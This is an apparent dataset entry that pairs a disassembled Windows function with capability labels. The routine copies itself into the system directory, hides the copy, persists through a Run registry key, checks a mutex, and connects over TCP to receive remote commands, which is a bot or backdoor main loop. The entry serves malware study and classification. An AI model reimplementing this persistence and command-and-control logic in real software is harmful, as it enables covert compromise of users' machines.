Function at 0x405b05
Capabilities:
Act as tcp client
Check mutex and terminate process on windows
Check mutex on windows
Connect socket
Connect tcp socket
Copy file
Create process on windows
Create tcp socket
Create thread
Get common file path
Initialize winsock library
Persist via run registry key
Receive data
Receive data on socket
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c0
push ebx
push esi
push edi
mov dword [ebp - 4], 0x405a02
push dword [ebp - 4]
push dword fs:[0]
mov dword fs:[0], esp
mov byte [ebp - 0x8bc], 0xc8
and byte [ebp - 0x8bb], 0
mov byte [ebp - 0x8ba], 4
and byte [ebp - 0x8b9], 0
mov byte [ebp - 0x8b8], 0x60
push 0x403a60
push 0x403a6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x714], eax
push 5
lea eax, [ebp - 0x8bc]
push eax
push dword [ebp - 0x714]
call fcn.00409d00
add esp, 0xc
test eax, eax
jne 0x405b8c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x8a4]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x405ba9
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x710]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x508]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x403a78
lea eax, [ebp - 0x508]
push eax
push 0x403a88
lea eax, [ebp - 0x60c]
push eax
call fcn.00409ca4
add esp, 0x10
lea eax, [ebp - 0x60c]
push eax
call fcn.004056c1
pop ecx
movzx eax, al
test eax, eax
je 0x405c23
lea eax, [ebp - 0x710]
push eax
lea eax, [ebp - 0x60c]
push eax
call fcn.00409c20
pop ecx
pop ecx
test eax, eax
je 0x405c83
and dword [ebp - 0x8c0], 0
jmp 0x405c39
mov eax, dword [ebp - 0x8c0]
inc eax
mov dword [ebp - 0x8c0], eax
cmp dword [ebp - 0x8c0], 5
jge 0x405c60
push 0
lea eax, [ebp - 0x60c]
push eax
lea eax, [ebp - 0x710]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x405c5e
jmp 0x405c60
jmp 0x405c2c
push 7
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.004051f2
push 0
push 0x401010
push 0
push 0xf003f
push 0
push 0
push 0
push 0x403a90
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x60c]
push eax
push 1
push 0
push 0x403ac0
push dword [0x401010]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [0x401010]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7530
push 0x403acc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405d08
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov word [ebp - 0x8b4], 2
push 0x403ad8
call fcn.00404f10
pop ecx
mov dword [ebp - 0x8b0], eax
push 0x1446
call sub.WS2_32.dll_htons
mov word [ebp - 0x8b2], ax
push 0
push 0
push 0
push 0x408ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4059bc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 1
pop eax
test eax, eax
je 0x405e09
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [0x40101c], eax
push 0x10
lea eax, [ebp - 0x8b4]
push eax
push dword [0x40101c]
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x405df9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00409bee
pop ecx
push 0x403ae8
call fcn.0040500d
pop ecx
call fcn.0040579a
push 1
pop eax
test eax, eax
je 0x405df9
push 0x400
push 0
lea eax, [ebp - 0x404]
push eax
call fcn.00409890
add esp, 0xc
push 0
push 0x400
lea eax, [ebp - 0x404]
push eax
push dword [0x40101c]
call sub.WS2_32.dll_recv
test eax, eax
jg 0x405dea
jmp 0x405df9
lea eax, [ebp - 0x404]
push eax
call fcn.00405316
pop ecx
jmp 0x405dae
push dword [0x40101c]
call sub.WS2_32.dll_closesocket
jmp 0x405d5d
pop edi
pop esi
pop ebx
leave
ret 0x10